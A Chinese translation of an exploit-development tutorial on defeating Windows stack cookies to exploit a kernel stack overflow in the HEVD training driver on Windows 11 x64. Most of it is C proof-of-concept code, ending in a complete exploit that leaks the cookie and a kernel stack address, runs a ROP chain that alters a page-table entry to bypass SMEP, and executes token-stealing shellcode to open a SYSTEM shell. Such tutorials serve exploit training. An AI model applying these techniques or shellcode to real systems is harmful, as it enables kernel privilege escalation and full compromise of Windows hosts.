【翻译】0x09 - Return of the Windows Kernel Stack Overflow
现代 Windows 内核条件竞争 - Windows 11 (x64)
在上一教程中,我们利用了整个行业中最臭名昭著的漏洞类型之一——条件竞争。
在本教程中,我们将回到之前利用过的漏洞类型——栈溢出。然而,这次我们将遇到一种称为栈 cookies 或 canaries 的漏洞缓解措施。因此,我们将跳过 Windows 7 (x86),直接进入 Windows 11 (x64)。
需要注意的是,与安全漏洞相关的核心问题并没有改变,我们仍然要利用栈溢出。
让我们先来一个高层次的概述
目录
-
什么是栈 Cookies(高层次) -
逆向工程 -
制作 PoC -
缓解措施分析 -
烘焙 Cookies -
漏洞利用 -
参考资料
什么是栈 Cookies(高层次)
Cookies 可能是你最喜欢的甜食之一,但在网络安全领域,这通常是漏洞开发者用来指代一种旨在防止缓冲区溢出(也称为栈溢出)的安全缓解措施的术语。在深入技术细节之前,最好先通过一个高层次的概述来理解它。
想象一下,你刚刚参加了一个家庭聚会,并从商店带来了巧克力曲奇给大家吃。这些曲奇来自 REDACTED,所以每个人都很兴奋地想要品尝!
然而,你的姑姑明确表示:"每个人都必须在吃甜点之前吃完晚餐"。你并不知道,你的姑姑其实很嫉妒。你的曲奇已经成为了聚会的明星!由于你在到达前几小时就告诉她你会带这些曲奇,她烤了一批与 REDACTED的曲奇几乎无法区分的曲奇。
然而,她添加了一种额外的成分...
当大家都在专心吃晚餐时,你的姑姑把你带来的曲奇换成了她自己的。看起来她的 carne asada 将再次成为烧烤聚会的明星。
当大家吃完饭后,都去拿美味的巧克力曲奇。然而,看起来你姑姑的计划失败了,因为大家立刻尝到了葡萄干的味道,而 REDACTED 并不制作葡萄干曲奇!
这与漏洞缓解措施有什么关系?
-
在这个场景中,你和你的家人就是栈/操作系统(OS),而曲奇就是栈 cookies(或 canary)。 -
你的姑姑就是攻击者。 -
曲奇交换可以被视为栈溢出。 -
由于这些曲奇是独特的(巧克力曲奇),你和你的家人很容易就能识别出这些曲奇不是来自 REDACTED。
这与漏洞缓解措施的工作原理非常相似。
你看,当你利用栈溢出时,你正在破坏内存,这包括变量、结构等。通过这种缓解措施,一个"cookie"或值被添加到栈中。
程序的工作方式是,当应用程序从函数调用返回并且执行被定向到返回地址时,应用程序将执行检查以确保 cookie(值)没有被破坏(假设缓解措施已启用)。如果应用程序或操作系统检测到该值被修改,通常操作系统或应用程序会崩溃——但不会以对攻击者有利的方式崩溃。
如果我们找不到避免这种情况发生的方法(例如使用泄漏),我们很可能无法利用这个漏洞。
当然,有很多方法可以绕过任何缓解措施,今天我们将做到这一点!
事实上,你可能已经在想"如果我们的姑姑使用巧克力曲奇而不是葡萄干会怎样"?
逆向工程
与之前的漏洞一样,我们需要在开始利用之前收集信息:IOCTL 代码(0x222007)和漏洞函数。这很容易发现,因为 HEVD 带有符号和方便命名的函数,所以我们可以更多地了解这些漏洞类型。
根据上面的反编译,我们不会处理任何自定义结构,这意味着我们可以继续查看 TriggerBufferOverflowStackGS
函数。
查看上面的反编译,我们可以看到 cookie 被存储在伪变量 local_38
中,然后在退出函数时调用 __security_check_cookie()
。至于核心漏洞——我们知道这是一个普通的缓冲区溢出,基于 memcpy()
将任何缓冲区复制到伪代码数组变量 local_238[]
中。让我们继续制作一个概念验证(PoC),看看当我们触发这个漏洞时会发生什么。
制作 PoC
由于我们处理的是一个普通的栈溢出,没有必要过于复杂化。让我们来制作一个 PoC!
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<string.h>#include<windows.h>#include<psapi.h>#include<ntdef.h>#include<winternl.h>#include<shlwapi.h>/* IOCTL */#define STACK_OVERFLOW_GS_IOCTL 0x222007/* Exploit Settings */#define ALLOCATION_SIZE 0x1000/* GetKernelModuleBase(): Function used to obtain kernel module address */LPVOID GetKernelModuleBase(PCHAR pKernelModule){char pcDriver[1024] = { 0 }; LPVOID lpvTargetDriver = NULL; LPVOID *lpvDrivers = NULL; DWORD dwCB = 0; DWORD dwDrivers = 0; DWORD i = 0; EnumDeviceDrivers(NULL, dwCB, &dwCB);if (dwCB <= 0)returnNULL; lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));if (lpvDrivers == NULL)returnNULL;if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB)) { dwDrivers = dwCB / sizeof(LPVOID);for (i = 0; i < dwDrivers; i++)if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))if (StrStrA(pcDriver, pKernelModule) != NULL) lpvTargetDriver = lpvDrivers[i]; }free(lpvDrivers);return lpvTargetDriver;}/* CheckWin(): Simple function to check if we're running as SYSTEM */intCheckWin(VOID){ DWORD win = 0; DWORD dwLen = 0; CHAR *cUsername = NULL; GetUserNameA(NULL, &dwLen);if (dwLen > 0) { cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR)); } else {printf("[-] Failed to allocate buffer for username checkn");return-1; } GetUserNameA(cUsername, &dwLen); win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}/* GenerateExploitBuffer(): Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */DWORD GenerateExploitBuffer(LPVOID lpvNt, LPVOID lpvBuffer){size_t i = 0;uint64_t *payload = (uint64_t *)lpvBuffer;for (i = 0; i < ALLOCATION_SIZE; i += sizeof(uint64_t)) *payload++ = 0x41414141;return i;}/* Exploit(): Stack Overflow (GS) */intExploit(HANDLE hHEVD){ DWORD dwExploitBuffer = 0; DWORD dwBytesReturned = 0; LPVOID lpvMemoryAlloc = NULL; lpvMemoryAlloc = VirtualAlloc(NULL, ALLOCATION_SIZE, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);if (lpvMemoryAlloc == NULL) {printf("[*] Failed to create exploitation buffern");return-1; } dwExploitBuffer = GenerateExploitBuffer(NULL, lpvMemoryAlloc);printf("[*] Exploit buffer size: %dn", dwExploitBuffer); DeviceIoControl(hHEVD, STACK_OVERFLOW_GS_IOCTL, lpvMemoryAlloc, dwExploitBuffer,NULL,0x00, &dwBytesReturned,NULL);return CheckWin();}intmain(){ HANDLE hHEVD = NULL; hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE),0x00,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == NULL) {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1; }if (Exploit(hHEVD) == 0) {printf("[*] Exploitation success!!! Enjoy de shell!!nn"); system("cmd.exe"); } else {printf("[-] Exploitation failed, run againn"); }if (hHEVD != INVALID_HANDLE_VALUE) { CloseHandle(hHEVD); }}
发送后,我们得到了一个崩溃
缓解机制分析
查看 cookie 初始化,我们可以看到 __security_cookie
存储在 HEVD 的 HEVD+0x3000
处(我们也可以在 Ghidra 中确认这一点)。此外,我们可以看到__security_cookie
将与当前存储在 RSP 中的值进行 XOR 运算。完成后,XOR 运算的结果存储在 RSP+0x220
处,这本质上是栈中的一个偏移量。在不进一步分析的情况下,我们可以假设如果覆盖存储在 RSP+0x220
处的值,就会触发缓解机制。
如果我们重新启动 exploit 并在 TriggerBufferOverflowStackGS
开始时中断,我们可以确认 cookie 存储在 HEVD 的内存中:
当我们进行到 XOR 操作时,我们进一步确认了这一点。如下所示,我们可以看到它只是当前的栈地址,而不是某种硬编码值。
如果我们再执行一步,我们可以看到存储在 RAX 中的这个新值将被放入栈中。如果我们恢复这个被破坏的值会怎样?
在分析如此大的缓冲区时,你可能会遇到问题,所以请将缓冲区大小减少到 0x900 字节。完成后,重新运行上述实验并运行 !analyze -v
。这次 XOR 操作后的最终 cookie 是 ffff40da07033567,RSP+0x220 指向 fffe58347db76f0,这样我们可以在 HEVD+0x867b9 处设置断点。此时如果我们继续执行,可以看到我们进行了一次跳转,如果我们继续(我们不会),我们将最终调用__security_check_cookie() 函数。如果我们 dump 存储 cookie 的地址,可以看到我们已经破坏了它。然而,如果我们恢复它并继续...
我们就获得了对指令指针的控制
这为我们如何绕过这种缓解机制提供了一个扎实的高层次概述。
烘焙 Cookies
就像我们在 HEVD"课程"中编写的其他 exploit 一样,你可能会认为这就像获取 HEVD 的基地址并读取存储 cookie 的内存位置一样简单。然而,我们很快(固执地)发现情况并非如此。我们需要找到一个泄漏点,在我们的例子中,我们可以重用 Write-What-Where/Arbitrary Write 漏洞...
让我们编写一个 PoC 并进行测试。
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<string.h>#include<windows.h>#include<psapi.h>#include<ntdef.h>#include<winternl.h>#include<shlwapi.h>/* IOCTL */#define STACK_OVERFLOW_GS_IOCTL 0x222007#define ARBITRARY_WRITE_IOCTL 0x22200b/* Structure used by Write-What-Where */typedefstruct _WRITE_WHAT_WHERE{uint64_t *ullpWhat;uint64_t *ullpWhere;} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;/* Exploit Settings */#define ALLOCATION_SIZE 0x900/* GetKernelModuleBase(): Function used to obtain kernel module address */LPVOID GetKernelModuleBase(PCHAR pKernelModule){char pcDriver[1024] = { 0 }; LPVOID lpvTargetDriver = NULL; LPVOID *lpvDrivers = NULL; DWORD dwCB = 0; DWORD dwDrivers = 0; DWORD i = 0; EnumDeviceDrivers(NULL, dwCB, &dwCB);if (dwCB <= 0)returnNULL; lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));if (lpvDrivers == NULL)returnNULL;if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB)) { dwDrivers = dwCB / sizeof(LPVOID);for (i = 0; i < dwDrivers; i++)if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))if (StrStrA(pcDriver, pKernelModule) != NULL) lpvTargetDriver = lpvDrivers[i]; }free(lpvDrivers);return lpvTargetDriver;}/* CheckWin(): Simple function to check if we're running as SYSTEM */intCheckWin(VOID){ DWORD win = 0; DWORD dwLen = 0; CHAR *cUsername = NULL; GetUserNameA(NULL, &dwLen);if (dwLen > 0) { cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR)); } else {printf("[-] Failed to allocate buffer for username checkn");return-1; } GetUserNameA(cUsername, &dwLen); win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}/* GenerateExploitBuffer(): Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */DWORD GenerateExploitBuffer(LPVOID lpvNt, LPVOID lpvBuffer){size_t i = 0;uint64_t *payload = (uint64_t *)lpvBuffer;for (i = 0; i < ALLOCATION_SIZE; i += sizeof(uint64_t)) *payload++ = 0x41414141;return i;}/* WriteBytes(): Arbitrary write located in the TriggerArbitraryWrite() function */voidWriteBytes(HANDLE hHEVD, uint64_t* u64What, uint64_t* u64Where){ DWORD dwBytesReturned = 0; WRITE_WHAT_WHERE www = { 0 }; www.ullpWhere = u64Where; www.ullpWhat = u64What;printf("t[*] Writing 0x%p to 0x%pn", www.ullpWhat, www.ullpWhere); DeviceIoControl(hHEVD, ARBITRARY_WRITE_IOCTL, &www,sizeof(WRITE_WHAT_WHERE),NULL,0x00, &dwBytesReturned,NULL);}/* LeakCookie(): Leverage the ARBITRARY_WRITE_IOCTL to write to our variable in Userland from Kernel Land. */uint64_tLeakCookie(HANDLE hHEVD, LPVOID lpvHEVD){uint64_t cookie = 0;uint64_t *pu64Cookie = (uint64_t *)(lpvHEVD + 0x3000);printf("t[*] Cookie located @{0x%p}n", pu64Cookie); WriteBytes(hHEVD, pu64Cookie, &cookie);printf("t[+] Cookie leaked: 0x%pn", cookie);return cookie;}/* Exploit(): Stack Overflow (GS) */intExploit(HANDLE hHEVD){uint64_t cookie = 0x00; DWORD dwExploitBuffer = 0; DWORD dwBytesReturned = 0; LPVOID lpvMemoryAlloc = NULL; LPVOID lpvHEVD = GetKernelModuleBase("HEVD");if (lpvHEVD == NULL) {printf("[-] Failed to obtain the base address of HEVDn");return-1; }printf("[*] Base address of HEVD @{0x%p}n", lpvHEVD);printf("[*] Attempting to leak __security_cookien"); cookie = LeakCookie(hHEVD, lpvHEVD);---snip---}
成功启动后,我们成功泄露了 stack cookie!
然而,我们仍然需要泄露 stack...我一度陷入困境...直到我发现了Kristal-G的另一篇精彩文章,其中使用了sam-b的泄露方法,这非常有用。
让我们再次编写代码并测试它!
voidLeakStack(wchar_t *targetPoC){ HMODULE ntdll = GetModuleHandle(TEXT("ntdll")); PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");if (query == NULL) {printf("GetProcAddress() failed.n");exit(-1); } ULONG len = 2000; NTSTATUS status = 0x00; PSYSTEM_EXTENDED_PROCESS_INFORMATION pProcessInfo = NULL;do { len *= 2; pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len); status = query(SystemExtendedProcessInformation, pProcessInfo, len, &len); } while (status == (NTSTATUS)0xc0000004);if (status != (NTSTATUS)0x0) {printf("NtQuerySystemInformation failed with error code 0x%Xn", status);exit(-1); }while (pProcessInfo->NextEntryOffset != 0x00) {// Strangely I was able to do this with the pProcessInfo->ImageName.Buffer being NULL? if (StrStrW(pProcessInfo->ImageName.Buffer, targetPoC) != NULL || pProcessInfo->ImageName.Buffer == NULL) {printf("[*] Leaking stack from %lsn", targetPoC);for (unsignedint i = 0; i < pProcessInfo->NumberOfThreads; i++) { LPVOID stackBase = pProcessInfo->Threads[i].StackBase; LPVOID stackLimit = pProcessInfo->Threads[i].StackLimit;#ifdef _WIN64printf("tStack base 0x%ptStack limit 0x%pn", stackBase, stackLimit);#elseprintf("tStack base 0x%Xt", stackBase);printf("tStack limit 0x%Xrn", stackLimit);#endifbreak; } }if (!pProcessInfo->NextEntryOffset) { pProcessInfo = NULL; } else { pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)((ULONG_PTR)pProcessInfo + pProcessInfo->NextEntryOffset); } }}/* Exploit(): Stack Overflow (GS) */intExploit(HANDLE hHEVD){uint64_t cookie = 0x00; DWORD dwExploitBuffer = 0; DWORD dwBytesReturned = 0; LPVOID lpvStackLeak = NULL; LPVOID lpvMemoryAlloc = NULL; LPVOID lpvHEVD = GetKernelModuleBase("HEVD");if (lpvHEVD == NULL) {printf("[-] Failed to obtain the base address of HEVDn");return-1; }printf("[*] Base address of HEVD @{0x%p}n", lpvHEVD);printf("[*] Attempting to leak __security_cookien"); cookie = LeakCookie(hHEVD, lpvHEVD); LeakStack(L"poc.exe"); getchar();---snip---}
从我们的源代码中可以看到,我们在获取目标进程时遇到了很多困难。这很奇怪,基本上我们最终发现pProcessInfor->ImageName.Buffer
需要为 NULL。
我们可以通过 GDB 进一步确认这一点。
有了这些,我们应该已经具备了利用这个漏洞所需的一切
漏洞利用
以下是最终的 PoC 代码:
#include<stdio.h>#include<stdlib.h>#include<stdint.h>#include<string.h>#include<wchar.h>#include<windows.h>#include<psapi.h>#include<shlwapi.h>typedef LONG KPRIORITY;typedefstruct _CLIENT_ID { DWORD UniqueProcess; DWORD UniqueThread;} CLIENT_ID;typedefstruct _UNICODE_STRING { USHORT Length; USHORT MaximumLength;#ifdef MIDL_PASS [size_is(MaximumLength / 2), length_is((Length) / 2) ] USHORT * Buffer;#else// MIDL_PASS _Field_size_bytes_part_opt_(MaximumLength, Length) PWCH Buffer;#endif// MIDL_PASS} UNICODE_STRING;typedef UNICODE_STRING *PUNICODE_STRING;typedefconst UNICODE_STRING *PCUNICODE_STRING;//from http://boinc.berkeley.edu/android-boinc/boinc/lib/diagnostics_win.htypedefstruct _VM_COUNTERS {// the following was inferred by painful reverse engineering SIZE_T PeakVirtualSize; // not actually SIZE_T PageFaultCount; SIZE_T PeakWorkingSetSize; SIZE_T WorkingSetSize; SIZE_T QuotaPeakPagedPoolUsage; SIZE_T QuotaPagedPoolUsage; SIZE_T QuotaPeakNonPagedPoolUsage; SIZE_T QuotaNonPagedPoolUsage; SIZE_T PagefileUsage; SIZE_T PeakPagefileUsage; SIZE_T VirtualSize; // not actually} VM_COUNTERS;typedefenum _KWAIT_REASON{ Executive = 0, FreePage = 1, PageIn = 2, PoolAllocation = 3, DelayExecution = 4, Suspended = 5, UserRequest = 6, WrExecutive = 7, WrFreePage = 8, WrPageIn = 9, WrPoolAllocation = 10, WrDelayExecution = 11, WrSuspended = 12, WrUserRequest = 13, WrEventPair = 14, WrQueue = 15, WrLpcReceive = 16, WrLpcReply = 17, WrVirtualMemory = 18, WrPageOut = 19, WrRendezvous = 20, Spare2 = 21, Spare3 = 22, Spare4 = 23, Spare5 = 24, WrCalloutStack = 25, WrKernel = 26, WrResource = 27, WrPushLock = 28, WrMutex = 29, WrQuantumEnd = 30, WrDispatchInt = 31, WrPreempted = 32, WrYieldExecution = 33, WrFastMutex = 34, WrGuardedMutex = 35, WrRundown = 36, MaximumWaitReason = 37} KWAIT_REASON;typedefstruct _SYSTEM_THREAD_INFORMATION { LARGE_INTEGER KernelTime; LARGE_INTEGER UserTime; LARGE_INTEGER CreateTime; ULONG WaitTime; PVOID StartAddress; CLIENT_ID ClientId; KPRIORITY Priority; LONG BasePriority; ULONG ContextSwitchCount; ULONG ThreadState; KWAIT_REASON WaitReason;#ifdef _WIN64 ULONG Reserved[4];#endif} SYSTEM_THREAD_INFORMATION, *PSYSTEM_THREAD_INFORMATION;typedefstruct _SYSTEM_EXTENDED_THREAD_INFORMATION{ SYSTEM_THREAD_INFORMATION ThreadInfo; PVOID StackBase; PVOID StackLimit; PVOID Win32StartAddress; PVOID TebAddress; /* This is only filled in on Vista and above */ ULONG Reserved1; ULONG Reserved2; ULONG Reserved3;} SYSTEM_EXTENDED_THREAD_INFORMATION, *PSYSTEM_EXTENDED_THREAD_INFORMATION;typedefstruct _SYSTEM_EXTENDED_PROCESS_INFORMATION{ ULONG NextEntryOffset; ULONG NumberOfThreads; LARGE_INTEGER SpareLi1; LARGE_INTEGER SpareLi2; LARGE_INTEGER SpareLi3; LARGE_INTEGER CreateTime; LARGE_INTEGER UserTime; LARGE_INTEGER KernelTime; UNICODE_STRING ImageName; KPRIORITY BasePriority; ULONG ProcessId; ULONG InheritedFromUniqueProcessId; ULONG HandleCount; ULONG SessionId; PVOID PageDirectoryBase; VM_COUNTERS VirtualMemoryCounters; SIZE_T PrivatePageCount; IO_COUNTERS IoCounters; SYSTEM_EXTENDED_THREAD_INFORMATION Threads[1];} SYSTEM_EXTENDED_PROCESS_INFORMATION, *PSYSTEM_EXTENDED_PROCESS_INFORMATION;typedefenum _SYSTEM_INFORMATION_CLASS { SystemExtendedProcessInformation = 57} SYSTEM_INFORMATION_CLASS;typedefNTSTATUS(WINAPI *PNtQuerySystemInformation)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength);/* IOCTL */#define STACK_OVERFLOW_GS_IOCTL 0x222007#define ARBITRARY_WRITE_IOCTL 0x22200b/* Structure used by Write-What-Where */typedefstruct _WRITE_WHAT_WHERE{uint64_t *ullpWhat;uint64_t *ullpWhere;} WRITE_WHAT_WHERE, *PWRITE_WHAT_WHERE;/* Exploit Settings */#define ALLOCATION_SIZE 0x900/* GetKernelModuleBase(): Function used to obtain kernel module address */LPVOID GetKernelModuleBase(PCHAR pKernelModule){char pcDriver[1024] = { 0 }; LPVOID lpvTargetDriver = NULL; LPVOID *lpvDrivers = NULL; DWORD dwCB = 0; DWORD dwDrivers = 0; DWORD i = 0; EnumDeviceDrivers(NULL, dwCB, &dwCB);if (dwCB <= 0)returnNULL; lpvDrivers = (LPVOID *)malloc(dwCB * sizeof(LPVOID));if (lpvDrivers == NULL)returnNULL;if (EnumDeviceDrivers(lpvDrivers, dwCB, &dwCB)) { dwDrivers = dwCB / sizeof(LPVOID);for (i = 0; i < dwDrivers; i++)if (GetDeviceDriverBaseNameA(lpvDrivers[i], pcDriver, sizeof(pcDriver)))if (StrStrA(pcDriver, pKernelModule) != NULL) lpvTargetDriver = lpvDrivers[i]; }free(lpvDrivers);return lpvTargetDriver;}/* CheckWin(): Simple function to check if we're running as SYSTEM */intCheckWin(VOID){ DWORD win = 0; DWORD dwLen = 0; CHAR *cUsername = NULL; GetUserNameA(NULL, &dwLen);if (dwLen > 0) { cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR)); } else {printf("[-] Failed to allocate buffer for username checkn");return-1; } GetUserNameA(cUsername, &dwLen); win = strcmp(cUsername, "SYSTEM");free(cUsername);return (win == 0) ? win : -1;}/* GenerateExploitBuffer(): Generate the buffer that will overwrite the return address and grant control over the instruction pointer. */DWORD GenerateExploitBuffer(LPVOID lpvNt, LPVOID lpvStackLeak, uint64_t cookie, LPVOID lpvBuffer){size_t j = 0;size_t i = 0; LPVOID shellcode = NULL;uint64_t nt = (uint64_t)(lpvNt);uint64_tstack = (uint64_t)(lpvStackLeak);uint64_t *payload = (uint64_t *)(lpvBuffer);uint8_t sc[129] = {// sickle-tool -p windows/x64/kernel_token_stealer -f num (58 bytes)0x65, 0x48, 0xa1, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x80, 0xb8, 0x00, 0x00, 0x00, 0x48, 0x89, 0xc1, 0xb2, 0x04, 0x48, 0x8b, 0x80, 0x48, 0x04, 0x00, 0x00, 0x48, 0x2d, 0x48, 0x04, 0x00, 0x00, 0x38, 0x90, 0x40, 0x04, 0x00, 0x00, 0x75, 0xeb, 0x48, 0x8b, 0x90, 0xb8, 0x04, 0x00, 0x00, 0x48, 0x89, 0x91, 0xb8, 0x04, 0x00, 0x00,// sickle-tool -p windows/x64/kernel_sysret -f num (71)0x65, 0x48, 0xa1, 0x88, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x66, 0x8b, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x66, 0xff, 0xc1, 0x66, 0x89, 0x88, 0xe4, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x90, 0x90, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8a, 0x68, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x9a, 0x78, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xa2, 0x80, 0x01, 0x00, 0x00, 0x48, 0x8b, 0xaa, 0x58, 0x01, 0x00, 0x00, 0x31, 0xc0, 0x0f, 0x01, 0xf8, 0x48, 0x0f, 0x07 }; shellcode = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (shellcode == NULL) {printf("[-] Failed to allocate memory for shellcoden");return-1; } RtlCopyMemory(shellcode, sc, 129);/* Adjust the stack pointer */stack -= 0xb30;printf("t[*] Writing stack cookie @{0x%p}n", stack);/* Overflow past the size of the buffer */for (i = 0; i < (512 / sizeof(uint64_t)); i++) { payload[i] = 0x4141414141414141; } payload[i++] = (stack ^ cookie); /* Stack Cookie *//* Offset to shellcode start */ payload[i++] = 0x4343434343434343; payload[i++] = 0x4444444444444444; payload[i++] = 0x4545454545454545; payload[i++] = 0x4646464646464646; payload[i++] = 0x4747474747474747; payload[i++] = 0x4848484848484848;/* Prepare RDX register for later. This is needed for the XOR operation */ payload[i++] = nt + 0x40ed4e; // pop rdx ; pop rax ; pop rcx ; ret payload[i++] = 0x000008; // Set RDX to 0x08, we will need this to accomplish the XOR payload[i++] = 0x000000; // [filler] payload[i++] = 0x000000; // [filler]/* Setup the call to MiGetPteAddress in order to get the address of the PTE for our userland code. The setup is as follows: RAX -> VOID *MiGetPteAddress( ( RCX == PTE / Userland Code ) ); Once the call is complete RAX should contain the pointer to our PTE. */ payload[i++] = nt + 0x57699c; // pop rcx ; ret payload[i++] = (uint64_t)shellcode; // *shellcode payload[i++] = nt + 0x24aaec; // MiGetPteAddress()/* Now that we have obtained the PTE address, we can modify the 2nd bit in order to mark the page as a kernel page (U -> K). We can do this using XOR ;) */ payload[i++] = nt + 0x30fcf3; // sub rax, rdx ; ret payload[i++] = nt + 0x54f344; // push rax ; pop rbx ; ret payload[i++] = nt + 0x40ed4e; // pop rdx ; pop rax ; pop rcx ; ret payload[i++] = 0x000004; // 0x40ed4e: pop rdx ; pop rax ; pop rcx ; ret ; (1 found) payload[i++] = 0x000000; // [filler] payload[i++] = 0x000000; // [filler] payload[i++] = nt + 0x3788b6; // xor [rbx+0x08], edx ; mov rbx, qword [rsp+0x60] ; add rsp, 0x40 ; pop r14 ; pop rdi ; pop rbp ; ret/* Now we cam spray our shellcode address since SMEP and VPS should be bypassed */for (j = 0; j < 0xC; j++) { payload[i++] = (uint64_t)shellcode; }printf("t[*] Generated %d bytes ...n", (i * sizeof(uint64_t)));return (i * sizeof(uint64_t));}/* WriteBytes(): Arbitrary write located in the TriggerArbitraryWrite() function */voidWriteBytes(HANDLE hHEVD, uint64_t* u64What, uint64_t* u64Where){ DWORD dwBytesReturned = 0; WRITE_WHAT_WHERE www = { 0 }; www.ullpWhere = u64Where; www.ullpWhat = u64What;printf("t[*] Writing 0x%p to 0x%pn", www.ullpWhat, www.ullpWhere); DeviceIoControl(hHEVD, ARBITRARY_WRITE_IOCTL, &www,sizeof(WRITE_WHAT_WHERE),NULL,0x00, &dwBytesReturned,NULL);}/* LeakCookie(): Leverage the ARBITRARY_WRITE_IOCTL to write to our variable in Userland from Kernel Land. */uint64_tLeakCookie(HANDLE hHEVD, LPVOID lpvHEVD){uint64_t cookie = 0;uint64_t *pu64Cookie = (uint64_t *)(lpvHEVD + 0x3000);printf("t[*] Cookie located @{0x%p}n", pu64Cookie); WriteBytes(hHEVD, pu64Cookie, &cookie);printf("t[+] Cookie leaked: 0x%pn", cookie);return cookie;}voidLeakStack(wchar_t *targetPoC, LPVOID *lpvStackLeak){ HMODULE ntdll = GetModuleHandle(TEXT("ntdll")); PNtQuerySystemInformation query = (PNtQuerySystemInformation)GetProcAddress(ntdll, "NtQuerySystemInformation");if (query == NULL) {printf("GetProcAddress() failed.n");exit(-1); } ULONG len = 2000; NTSTATUS status = 0x00; PSYSTEM_EXTENDED_PROCESS_INFORMATION pProcessInfo = NULL;do { len *= 2; pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len); status = query(SystemExtendedProcessInformation, pProcessInfo, len, &len); } while (status == (NTSTATUS)0xc0000004);if (status != (NTSTATUS)0x0) {printf("NtQuerySystemInformation failed with error code 0x%Xn", status);exit(-1); } LPVOID stackBase = NULL; LPVOID stackLimit = NULL;while (pProcessInfo->NextEntryOffset != 0x00) {// Strangely I was able to do this with the pProcessInfo->ImageName.Buffer being NULL? if (StrStrW(pProcessInfo->ImageName.Buffer, targetPoC) != NULL) {printf("[*] Leaking stack from %lsn", targetPoC);for (unsignedint i = 0; i < pProcessInfo->NumberOfThreads; i++) { stackBase = pProcessInfo->Threads[i].StackBase; stackLimit = pProcessInfo->Threads[i].StackLimit;#ifdef _WIN64printf("t[*] Stack base 0x%ptStack limit 0x%pn", stackBase, stackLimit);#elseprintf("t[*] Stack base 0x%XtStack limit 0x%Xn", stackBase, stackLimit);#endifbreak; } }if (!pProcessInfo->NextEntryOffset) { pProcessInfo = NULL; } else { pProcessInfo = (PSYSTEM_EXTENDED_PROCESS_INFORMATION)((ULONG_PTR)pProcessInfo + pProcessInfo->NextEntryOffset); } } *lpvStackLeak = stackBase;}/* Exploit(): Stack Overflow (GS) */intExploit(HANDLE hHEVD){uint64_t cookie = 0x00; DWORD dwExploitBuffer = 0; DWORD dwBytesReturned = 0; LPVOID lpvStackLeak = NULL; LPVOID lpvMemoryAlloc = NULL; LPVOID lpvHEVD = GetKernelModuleBase("HEVD"); LPVOID lpvNtKrnl = GetKernelModuleBase("ntoskrnl");if (lpvHEVD == NULL) {printf("[-] Failed to obtain the base address of HEVDn");return-1; }if (lpvNtKrnl == NULL) {printf("[-] Failed to obtain the base address of ntoskrnln");return-1; }printf("[*] Exploitation started....n");printf("[*] Base address of HEVD @{0x%p}n", lpvHEVD);printf("[*] Base address of NT @{0x%p}n", lpvNtKrnl);printf("[*] Attempting to leak __security_cookien"); cookie = LeakCookie(hHEVD, lpvHEVD);if (cookie == 0x00) {printf("[-] Failed to leak stack cookien"); }/* I found I need to hammer the stack leak to get it to work :| */while (1) { LeakStack(L"poc.exe", &lpvStackLeak);if (lpvStackLeak != NULL) {break; } }if (lpvStackLeak == NULL) {printf("[-] Failed to leak stack addressn");return-1; } lpvMemoryAlloc = VirtualAlloc(NULL, ALLOCATION_SIZE, (MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);if (lpvMemoryAlloc == NULL) {printf("[*] Failed to create exploitation buffern");return-1; } dwExploitBuffer = GenerateExploitBuffer(lpvNtKrnl, lpvStackLeak, cookie, lpvMemoryAlloc);printf("[*] Sending payload!!!n", dwExploitBuffer); DeviceIoControl(hHEVD, STACK_OVERFLOW_GS_IOCTL, lpvMemoryAlloc, dwExploitBuffer,NULL,0x00, &dwBytesReturned,NULL);return CheckWin();}intmain(){ HANDLE hHEVD = NULL; hHEVD = CreateFileA("\\.\HackSysExtremeVulnerableDriver", (GENERIC_READ | GENERIC_WRITE),0x00,NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,NULL);if (hHEVD == NULL) {printf("[-] Failed to get a handle on HackSysExtremeVulnerableDrivern");return-1; }if (Exploit(hHEVD) == 0) {printf("[*] Exploitation success!!! Enjoy de shell!!nn"); system("cmd.exe"); } else {printf("[-] Exploitation failed, run againn"); }if (hHEVD != INVALID_HANDLE_VALUE) { CloseHandle(hHEVD); }}
发送后,我们成功获得了特权 shell!
Sources
